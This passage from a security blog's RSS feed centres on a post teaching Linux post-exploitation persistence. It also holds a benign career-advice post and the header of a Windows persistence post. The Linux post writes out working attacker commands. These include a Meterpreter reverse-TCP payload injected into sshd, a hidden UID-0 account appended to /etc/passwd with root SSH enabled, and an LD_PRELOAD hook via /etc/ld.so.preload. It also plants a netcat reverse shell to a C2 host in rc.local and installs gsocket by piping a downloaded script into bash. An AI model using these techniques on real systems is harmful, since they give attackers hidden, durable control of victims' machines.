  1892. <description><![CDATA[<p>From memory-only implants and OS configuration tricks to LD_PRELOAD hooks, rc.local startup hooks, and cloud-relay tunneling. A strategic playbook shows how advanced techniques complement basic persistence to build a resilient foothold.</p>
  1893. <p>The post <a href="https://hackers-arise.com/advanced-linux-persistence-strategies-for-remaining-inside-a-linux-target/">Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1894. <content:encoded><![CDATA[<p>Welcome back, aspiring hackers! </p>
  1895.  
  1896.  
  1897.  
  1898. <p></p>
  1899.  
  1900.  
  1901.  
  1902. <p>In part one of our Linux persistence series, we covered the basics &#8211; the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.</p>
  1903.  
  1904.  
  1905.  
  1906. <p>We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into <strong>LD_PRELOAD</strong>, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with <strong>gsocket</strong>, a powerful tunneling tool that can keep a connection alive even when the network is working against you.</p>
  1907.  
  1908.  
  1909.  
  1910. <p>By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.</p>
  1911.  
  1912.  
  1913.  
  1914. <h2 class="wp-block-heading"><strong>In-Memory</strong></h2>
  1915.  
  1916.  
  1917.  
  1918. <p>An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.</p>
  1919.  
  1920.  
  1921.  
  1922. <p>In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:</p>
  1923.  
  1924.  
  1925.  
  1926. <p><code>c2 &gt; msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin</code></p>
  1927.  
  1928.  
  1929.  
  1930. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="106" src="https://hackers-arise.com/wp-content/uploads/2025/08/1-creating-an-in-memory-payload-with-msfvenom-1024x106.webp" alt="creating an in-memory payload with msfvenom" class="wp-image-17344" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/1-creating-an-in-memory-payload-with-msfvenom-1024x106.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/1-creating-an-in-memory-payload-with-msfvenom-300x31.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/1-creating-an-in-memory-payload-with-msfvenom-768x79.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/1-creating-an-in-memory-payload-with-msfvenom.webp 1256w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1931.  
  1932.  
  1933.  
  1934. <p>Here, <code>msfvenom</code> generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port.&nbsp;</p>
  1935.  
  1936.  
  1937.  
  1938. <p><code>exitfunc=thread</code><strong> </strong>controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.</p>
  1939.  
  1940.  
  1941.  
  1942. <p><code>StagerRetryCount=999999</code> instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.</p>
  1943.  
  1944.  
  1945.  
  1946. <p>With <code>pgrep</code><strong> </strong>you list processes to inject your payload into</p>
  1947.  
  1948.  
  1949.  
  1950. <p><code>target#&gt; pgrep -x sshd</code></p>
  1951.  
  1952.  
  1953.  
  1954. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="393" height="87" src="https://hackers-arise.com/wp-content/uploads/2025/08/2-finding-a-system-proccess-to-inject-an-in-memory-payload-into.webp" alt="finding a process with pgrep to inject the in-memory payload into with " class="wp-image-17345" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/2-finding-a-system-proccess-to-inject-an-in-memory-payload-into.webp 393w, https://hackers-arise.com/wp-content/uploads/2025/08/2-finding-a-system-proccess-to-inject-an-in-memory-payload-into-300x66.webp 300w" sizes="(max-width: 393px) 100vw, 393px" /></figure>
  1955.  
  1956.  
  1957.  
  1958. <p><code>target#&gt; mv /root/meter64.bin /root/mmap64.bin</code></p>
  1959.  
  1960.  
  1961.  
  1962. <p><code>target#&gt; inject_linux 1032 mmap64.bin</code></p>
  1963.  
  1964.  
  1965.  
  1966. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="725" height="294" src="https://hackers-arise.com/wp-content/uploads/2025/08/3-injecting-the-payload-into-a-proccess.webp" alt="injecting the in-memory payload with inject_linux into a process" class="wp-image-17346" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/3-injecting-the-payload-into-a-proccess.webp 725w, https://hackers-arise.com/wp-content/uploads/2025/08/3-injecting-the-payload-into-a-proccess-300x122.webp 300w" sizes="(max-width: 725px) 100vw, 725px" /></figure>
  1967.  
  1968.  
  1969.  
  1970. <p>The <code>inject_linux</code> utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as <code>mmap64.bin</code>.</p>
  1971.  
  1972.  
  1973.  
  1974. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="145" src="https://hackers-arise.com/wp-content/uploads/2025/08/4-receiving-a-connection-on-metasploit.webp" alt="receiving a reverse connection" class="wp-image-17347" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/4-receiving-a-connection-on-metasploit.webp 928w, https://hackers-arise.com/wp-content/uploads/2025/08/4-receiving-a-connection-on-metasploit-300x47.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/4-receiving-a-connection-on-metasploit-768x120.webp 768w" sizes="(max-width: 928px) 100vw, 928px" /></figure>
  1975.  
  1976.  
  1977.  
  1978. <p><strong>Pros:</strong> Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.</p>
  1979.  
  1980.  
  1981.  
  1982. <p><strong>Cons:</strong> Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.</p>
  1983.  
  1984.  
  1985.  
  1986. <p>While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.</p>
  1987.  
  1988.  
  1989.  
  1990. <h2 class="wp-block-heading"><strong>Configs</strong></h2>
  1991.  
  1992.  
  1993.  
  1994. <p>Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.</p>
  1995.  
  1996.  
  1997.  
  1998. <p>One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:</p>
  1999.  
  2000.  
  2001.  
  2002. <p><code>target# &gt; openssl passwd -1 -salt test P@ssw0rd123</code></p>
  2003.  
  2004.  
  2005.  
  2006. <p><code>target# &gt; echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' &gt;&gt; /etc/passwd</code></p>
  2007.  
  2008.  
  2009.  
  2010. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="775" height="119" src="https://hackers-arise.com/wp-content/uploads/2025/08/5-creating-a-hidden-user-in-passwd-file.webp" alt="creating a hidden user with a root shell" class="wp-image-17348" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/5-creating-a-hidden-user-in-passwd-file.webp 775w, https://hackers-arise.com/wp-content/uploads/2025/08/5-creating-a-hidden-user-in-passwd-file-300x46.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/5-creating-a-hidden-user-in-passwd-file-768x118.webp 768w" sizes="(max-width: 775px) 100vw, 775px" /></figure>
  2011.  
  2012.  
  2013.  
  2014. <p>The first command uses <code>openssl passwd</code> with the <code>-1</code> flag to generate an MD5-based hashed password (<code>-salt</code> test specifies a custom salt, here “test”) for the chosen password <code>P@ssw0rd123</code>. The output is a string in the format expected by <code>/etc/passwd</code>.</p>
  2015.  
  2016.  
  2017.  
  2018. <p>The second command appends a new entry to <code>/etc/passwd</code> for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and <code>/bin/sh</code> as its shell. This effectively creates a hidden superuser account.</p>
  2019.  
  2020.  
  2021.  
  2022. <p>Finally, make sure you have modified the <code>/etc/ssh/sshd_config</code><strong> </strong>file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (<code>PermitRootLogin yes</code>). This ensures you can reconnect remotely, provided the target system is reachable over the network.</p>
  2023.  
  2024.  
  2025.  
  2026. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="672" height="123" src="https://hackers-arise.com/wp-content/uploads/2025/08/6-editing-the-sshd_config.webp" alt="editing the sshd_config to allow root login" class="wp-image-17349" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/6-editing-the-sshd_config.webp 672w, https://hackers-arise.com/wp-content/uploads/2025/08/6-editing-the-sshd_config-300x55.webp 300w" sizes="(max-width: 672px) 100vw, 672px" /></figure>
  2027.  
  2028.  
  2029.  
  2030. <p>After that restart the SSH service</p>
  2031.  
  2032.  
  2033.  
  2034. <p><code>target# &gt; service sshd restart</code></p>
  2035.  
  2036.  
  2037.  
  2038. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="760" height="155" src="https://hackers-arise.com/wp-content/uploads/2025/08/7-connecting-to-a-host-with-a-root-user.webp" alt="connecting via ssh" class="wp-image-17350" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/7-connecting-to-a-host-with-a-root-user.webp 760w, https://hackers-arise.com/wp-content/uploads/2025/08/7-connecting-to-a-host-with-a-root-user-300x61.webp 300w" sizes="(max-width: 760px) 100vw, 760px" /></figure>
  2039.  
  2040.  
  2041.  
  2042. <p><strong>Pros:</strong>&nbsp; Survives reboots, and does not require running any malicious executable.</p>
  2043.  
  2044.  
  2045.  
  2046. <p><strong>Cons:</strong> Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.</p>
  2047.  
  2048.  
  2049.  
  2050. <p>This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.</p>
  2051.  
  2052.  
  2053.  
  2054. <h2 class="wp-block-heading"><strong>LD_PRELOAD</strong></h2>
  2055.  
  2056.  
  2057.  
  2058. <p>Using <strong>LD_PRELOAD </strong>for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The <strong>LD_PRELOAD </strong>environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.</p>
  2059.  
  2060.  
  2061.  
  2062. <p><br>First we create a <code>meter.c</code><strong> </strong>file which will later be compiled into <a href="http://meter.so"><code>meter.so</code></a></p>
  2063.  
  2064.  
  2065.  
  2066. <p><code>target# &gt; nano meter.c</code></p>
  2067.  
  2068.  
  2069.  
  2070. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="816" height="213" src="https://hackers-arise.com/wp-content/uploads/2025/08/8-crafting-meter.c-for-LD_PRELOAD.webp" alt="creating a meter.c file for LD_PRELOAD persistence" class="wp-image-17351" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/8-crafting-meter.c-for-LD_PRELOAD.webp 816w, https://hackers-arise.com/wp-content/uploads/2025/08/8-crafting-meter.c-for-LD_PRELOAD-300x78.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/8-crafting-meter.c-for-LD_PRELOAD-768x200.webp 768w" sizes="(max-width: 816px) 100vw, 816px" /></figure>
  2071.  
  2072.  
  2073.  
  2074. <p>Then the payload is compiled with the following command:</p>
  2075.  
  2076.  
  2077.  
  2078. <p><code>c2 &gt; gcc -fPIC -shared -o <a href="http://meter.so">meter.so</a> meter.c</code></p>
  2079.  
  2080.  
  2081.  
  2082. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="596" height="107" src="https://hackers-arise.com/wp-content/uploads/2025/08/9-compiling-a-binary-into-meter-so.webp" alt="comping the meter.c file" class="wp-image-17352" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/9-compiling-a-binary-into-meter-so.webp 596w, https://hackers-arise.com/wp-content/uploads/2025/08/9-compiling-a-binary-into-meter-so-300x54.webp 300w" sizes="(max-width: 596px) 100vw, 596px" /></figure>
  2083.  
  2084.  
  2085.  
  2086. <p>Next you write the path to your shared object (<code>meter.so</code>) into <code>/etc/ld.so.preload</code>. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.</p>
  2087.  
  2088.  
  2089.  
  2090. <p><code>target#&gt; echo /path/to/meter.so &gt;&gt; /etc/ld.so.preload</code></p>
  2091.  
  2092.  
  2093.  
  2094. <p>Then you add an export <code>LD_PRELOAD=/path/to/meter.so</code> line to <code>/etc/profile</code>, ensuring that all users who log in through an interactive shell will have the environment variable set automatically</p>
  2095.  
  2096.  
  2097.  
  2098. <p><code>target#&gt; echo export LD_PRELOAD=/path/to/meter.so &gt;&gt; /etc/profile</code></p>
  2099.  
  2100.  
  2101.  
  2102. <p>This command does the same but only for a single user by appending the export command to that user’s <code>~/.bashrc</code></p>
  2103.  
  2104.  
  2105.  
  2106. <p><code>target$&gt; echo export LD_PRELOAD=/path/to/meter.so &gt;&gt; ~/.bashrc</code></p>
  2107.  
  2108.  
  2109.  
  2110. <p><strong>Pros</strong>: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.</p>
  2111.  
  2112.  
  2113.  
  2114. <p><strong>Cons:</strong> The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.</p>
  2115.  
  2116.  
  2117.  
  2118. <h2 class="wp-block-heading"><strong>rc.local</strong></h2>
  2119.  
  2120.  
  2121.  
  2122. <p>Persistence via <strong>rc.local</strong> relies on a legacy startup mechanism in Linux systems. The <strong>/etc/rc.local</strong> script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.</p>
  2123.  
  2124.  
  2125.  
  2126. <p><code>target#&gt; echo "nc C2_IP 8888 -e /bin/bash &amp;" &gt;&gt; /etc/rc.local</code></p>
  2127.  
  2128.  
  2129.  
  2130. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="699" height="156" src="https://hackers-arise.com/wp-content/uploads/2025/08/10-settign-up-rc.local-persistence-with-netcat.webp" alt="creating rc.local persistence" class="wp-image-17353" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/10-settign-up-rc.local-persistence-with-netcat.webp 699w, https://hackers-arise.com/wp-content/uploads/2025/08/10-settign-up-rc.local-persistence-with-netcat-300x67.webp 300w" sizes="(max-width: 699px) 100vw, 699px" /></figure>
  2131.  
  2132.  
  2133.  
  2134. <p>This appends a netcat command to <code>/etc/rc.local</code> that, when executed, connects back to our host on port 8888 and spawns <code>/bin/bash</code>, providing an interactive reverse shell. The ampersand (<code>&amp;</code>) runs it in the background so it does not block the rest of the boot process.</p>
  2135.  
  2136.  
  2137.  
  2138. <p>Because <code>rc.local</code> executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.</p>
  2139.  
  2140.  
  2141.  
  2142. <p><strong>Pros:</strong> Survives reboots and is simple to implement.</p>
  2143.  
  2144.  
  2145.  
  2146. <p><strong>Cons:</strong> Requires root privileges to modify <code>/etc/rc.local</code>, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.</p>
  2147.  
  2148.  
  2149.  
  2150. <p>While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, <code>rc.local</code> is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.</p>
  2151.  
  2152.  
  2153.  
  2154. <h2 class="wp-block-heading"><strong>Gsocket</strong></h2>
  2155.  
  2156.  
  2157.  
  2158. <p>Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.</p>
  2159.  
  2160.  
  2161.  
  2162. <p>We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.</p>
  2163.  
  2164.  
  2165.  
  2166. <p>Here is how you install it on the target:</p>
  2167.  
  2168.  
  2169.  
  2170. <p><code>target# &gt; bash -c "$(wget --no-verbose -O- <a href="https://gsocket.io/y">https://gsocket.io/y</a>)"</code></p>
  2171.  
  2172.  
  2173.  
  2174. <p><code>target$ &gt; bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"</code></p>
  2175.  
  2176.  
  2177.  
  2178. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="773" height="311" src="https://hackers-arise.com/wp-content/uploads/2025/08/11-setting-up-gsocket.webp" alt="installing gs-netcat on the target" class="wp-image-17354" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/11-setting-up-gsocket.webp 773w, https://hackers-arise.com/wp-content/uploads/2025/08/11-setting-up-gsocket-300x121.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/11-setting-up-gsocket-768x309.webp 768w" sizes="(max-width: 773px) 100vw, 773px" /></figure>
  2179.  
  2180.  
  2181.  
  2182. <p>Next, install it on your C2 and access it with the secret key</p>
  2183.  
  2184.  
  2185.  
  2186. <p><code>c2 &gt; sudo apt install gsocket</code></p>
  2187.  
  2188.  
  2189.  
  2190. <p><code>c2 &gt; gs-netcat -s “secret key” -i</code></p>
  2191.  
  2192.  
  2193.  
  2194. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="833" height="458" src="https://hackers-arise.com/wp-content/uploads/2025/08/12-connecting-over-gsocket.webp" alt="installing gs-netcat and connecting to the target" class="wp-image-17355" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/12-connecting-over-gsocket.webp 833w, https://hackers-arise.com/wp-content/uploads/2025/08/12-connecting-over-gsocket-300x165.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/12-connecting-over-gsocket-768x422.webp 768w" sizes="(max-width: 833px) 100vw, 833px" /></figure>
  2195.  
  2196.  
  2197.  
  2198. <p>More information can be found here:</p>
  2199.  
  2200.  
  2201.  
  2202. <p><a href="https://www.gsocket.io/deploy">https://www.gsocket.io/deploy</a></p>
  2203.  
  2204.  
  2205.  
  2206. <p><strong>Pros: </strong>A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.</p>
  2207.  
  2208.  
  2209.  
  2210. <p><strong>Cons:</strong> Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.</p>
  2211.  
  2212.  
  2213.  
  2214. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  2215.  
  2216.  
  2217.  
  2218. <p>In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in <code>/etc/passwd</code>, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at <code>rc.local</code> for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.</p>
  2219.  
  2220.  
  2221.  
  2222. <p>Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.</p><p>The post <a href="https://hackers-arise.com/advanced-linux-persistence-strategies-for-remaining-inside-a-linux-target/">Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2223. </item>
  2224. <item>
  2225. <title>How to Find an Entry-Level Job in Cybersecurity</title>
  2226. <link>https://hackers-arise.com/how-to-find-an-entry-level-job-in-cybersecurity/</link>
  2227. <dc:creator><![CDATA[OTW]]></dc:creator>
  2228. <pubDate>Thu, 02 Oct 2025 18:21:15 +0000</pubDate>
  2229. <category><![CDATA[Career]]></category>
  2230. <guid isPermaLink="false">https://hackers-arise.com/?p=18429</guid>
  2231.  
  2232. <description><![CDATA[<p>Welcome back, my aspiring cyberwarriors! So many of you have written me about the difficulties of finding an entry-level job in cybersecurity that I thought I should offer you some of my insights. At this moment in history, artificial intelligence (AI) is making it particularly difficult to find that entry-level job as companies are using [&#8230;]</p>
  2233. <p>The post <a href="https://hackers-arise.com/how-to-find-an-entry-level-job-in-cybersecurity/">How to Find an Entry-Level Job in Cybersecurity</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  2234. <content:encoded><![CDATA[<p>Welcome back, my aspiring cyberwarriors!</p>
  2235.  
  2236.  
  2237.  
  2238. <p>So many of you have written me about the difficulties of finding an entry-level job in cybersecurity that I thought I should offer you some of my insights. At this moment in history, artificial intelligence (AI) is making it particularly difficult to find that entry-level job as companies are using AI to fulfill these tasks. </p>
  2239.  
  2240.  
  2241.  
  2242. <p>Here are my thoughts on the best approach to landing that first job in cybersecurity!</p>
  2243.  
  2244.  
  2245.  
  2246. <p></p>
  2247.  
  2248.  
  2249.  
  2250. <p>The best way to get a starting level job in cybersecurity is to combine <strong>industry certifications</strong>, <strong>hands-on skills development</strong>, networking, and relevant IT experience or education.</p>
  2251.  
  2252.  
  2253.  
  2254. <h2 class="wp-block-heading"></h2>
  2255.  
  2256.  
  2257.  
  2258. <h2 class="wp-block-heading">Step #1. Build Foundations and Skills</h2>
  2259.  
  2260.  
  2261.  
  2262. <ul class="wp-block-list">
  2263. <li>Study the basics: Networking, operating systems (especially Linux), system administration, scripting (e.g., Python), and security fundamentals. You can gain this background from my books <a href="https://amzn.to/3VMwrEE" title="">Linux Basics for Hackers</a>, <a href="https://amzn.to/4gVlNVR" title="">Network Basics for Hackers</a> and, my upcoming, Python Basics for Hackers.</li>
  2264.  
  2265.  
  2266.  
  2267. <li>Use free online resources, cybersecurity blogs (such as Hackers-Arise.com), YouTube (David Bombal, Yaniv Hoffman, Network Chuck),  for practical, hands-on labs.</li>
  2268.  
  2269.  
  2270.  
  2271. <li>Learn basic programming—while not always required, scripting helps with automation and troubleshooting.</li>
  2272. </ul>
  2273.  
  2274.  
  2275.  
  2276. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="359" src="https://hackers-arise.com/wp-content/uploads/2025/10/linux-2ed-1-1024x359.png" alt="" class="wp-image-18546" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/linux-2ed-1-1024x359.png 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/linux-2ed-1-300x105.png 300w, https://hackers-arise.com/wp-content/uploads/2025/10/linux-2ed-1-768x269.png 768w, https://hackers-arise.com/wp-content/uploads/2025/10/linux-2ed-1.png 1150w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  2277.  
  2278.  
  2279.  
  2280. <h2 class="wp-block-heading">Step #2. Get Industry-Recognized Certifications</h2>
  2281.  
  2282.  
  2283.  
  2284. <ul class="wp-block-list">
  2285. <li>Start with <strong>CompTIA Security+</strong> — the most respected entry-level cert; many entry-level jobs list it as a requirement.</li>
  2286.  
  2287.  
  2288.  
  2289. <li>Consider Network+ for networking fundamentals, or more specialized options like SSCP, GCIH.</li>
  2290.  
  2291.  
  2292.  
  2293. <li>Certifications signal employers you know security basics and are serious about the field.</li>
  2294. </ul>
  2295.  
  2296.  
  2297.  
  2298. <h2 class="wp-block-heading">Step #3. Pursue Hands-On Experience</h2>
  2299.  
  2300.  
  2301.  
  2302. <ul class="wp-block-list">
  2303. <li>Apply for IT/help desk, junior admin, or tech support roles—these are common stepping stones into security.</li>
  2304.  
  2305.  
  2306.  
  2307. <li>Take on internships, volunteer for IT/security projects, or contribute to open-source security initiatives. There are multiple open-source projects where you can gain hands-on experience without going through the hiring process. This indicates a strong commitment to cybersecurity and can help get past the &#8220;no experience&#8221; threshold. Hackers-Arise always has multiple open-source projects in our discord server.</li>
  2308.  
  2309.  
  2310.  
  2311. <li>Build a personal “home lab” environment to practice tools and attacks in a legal, safe manner. You can accomplish this inexpensively and without needing an Internet connection using VmWare or VirtualBox.</li>
  2312. </ul>
  2313.  
  2314.  
  2315.  
  2316. <h2 class="wp-block-heading">Step #4. Network and Get Involved</h2>
  2317.  
  2318.  
  2319.  
  2320. <ul class="wp-block-list">
  2321. <li>Attend local security meetups, online communities (Reddit, LinkedIn, Twitter), and conferences to build professional connections. This can also include the Hackers-Arise Discord server and community.</li>
  2322.  
  2323.  
  2324.  
  2325. <li>Connect with cybersecurity practitioners for insight, mentorship, and potential referrals.</li>
  2326. </ul>
  2327.  
  2328.  
  2329.  
  2330. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="468" height="82" src="https://hackers-arise.com/wp-content/uploads/2025/10/best-community-hands-down.png" alt="" class="wp-image-18545" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/best-community-hands-down.png 468w, https://hackers-arise.com/wp-content/uploads/2025/10/best-community-hands-down-300x53.png 300w" sizes="(max-width: 468px) 100vw, 468px" /></figure>
  2331.  
  2332.  
  2333.  
  2334. <h2 class="wp-block-heading">Step #5. Tailor Your Resume and Apply Broadly</h2>
  2335.  
  2336.  
  2337.  
  2338. <ul class="wp-block-list">
  2339. <li>Document hands-on skills, home lab work, certifications, and transferable skills from any IT roles.</li>
  2340.  
  2341.  
  2342.  
  2343. <li>Customize your resume for each job and be ready to explain your skills and learning journey in interviews.</li>
  2344.  
  2345.  
  2346.  
  2347. <li>Explore entry-level roles such as SOC analyst, junior pentester, security technician, and IT support with a security focus.</li>
  2348. </ul>
  2349.  
  2350.  
  2351.  
  2352. <hr class="wp-block-separator has-alpha-channel-opacity"/>
  2353.  
  2354.  
  2355.  
  2356. <h2 class="wp-block-heading">Summary</h2>
  2357.  
  2358.  
  2359.  
  2360. <ul class="wp-block-list">
  2361. <li><strong>Certifications + hands-on learning</strong> = fastest path to entry-level roles.</li>
  2362.  
  2363.  
  2364.  
  2365. <li><strong>Network and build connections</strong> in the security community—it’s often who you know that helps get a foot in the door.</li>
  2366.  
  2367.  
  2368.  
  2369. <li>Apply even if you don’t meet every listed requirement: employers want passion, constant learning, and initiative in entry-level candidates.</li>
  2370. </ul>
  2371.  
  2372.  
  2373.  
  2374. <p>This blended approach maximizes your chances of breaking into cybersecurity quickly, even without prior professional experience.</p><p>The post <a href="https://hackers-arise.com/how-to-find-an-entry-level-job-in-cybersecurity/">How to Find an Entry-Level Job in Cybersecurity</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2375. </item>
  2376. <item>
  2377. <title>Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</title>
  2378. <link>https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/</link>
  2379. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  2380. <pubDate>Thu, 02 Oct 2025 16:59:22 +0000</pubDate>
  2381. <category><![CDATA[Command and Control (C2)]]></category>
  2382. <category><![CDATA[Cyberwar]]></category>
  2383. <category><![CDATA[Cyberwarrior]]></category>
  2384. <category><![CDATA[Metasploit]]></category>
  2385. <category><![CDATA[Powershell]]></category>
  2386. <category><![CDATA[Windows]]></category>
  2387. <category><![CDATA[advanced persistence]]></category>
  2388. <category><![CDATA[AppInit DLL injection]]></category>
  2389. <category><![CDATA[cyberwarfare]]></category>
  2390. <category><![CDATA[HACKING]]></category>
  2391. <category><![CDATA[HKCU persistence]]></category>
  2392. <category><![CDATA[LSASS persistence]]></category>
  2393. <category><![CDATA[offensive security]]></category>
  2394. <category><![CDATA[Office registry keys]]></category>
  2395. <category><![CDATA[post-exploitation]]></category>
  2396. <category><![CDATA[privilege abuse]]></category>
  2397. <category><![CDATA[reboot survival]]></category>
  2398. <category><![CDATA[red team tactics]]></category>
  2399. <category><![CDATA[registry persistence]]></category>
  2400. <category><![CDATA[stealth backdoors]]></category>
  2401. <category><![CDATA[Windows persistence]]></category>
  2402. <category><![CDATA[Winlogon hijack]]></category>
  2403. <guid isPermaLink="false">https://hackers-arise.com/?p=17878</guid>
  2404.  
  2405. <description><![CDATA[<p>Learn registry-based Windows persistence with AppInit DLLs, LSASS packages, Winlogon hijacks, and Office keys. These methods survive reboots.</p>
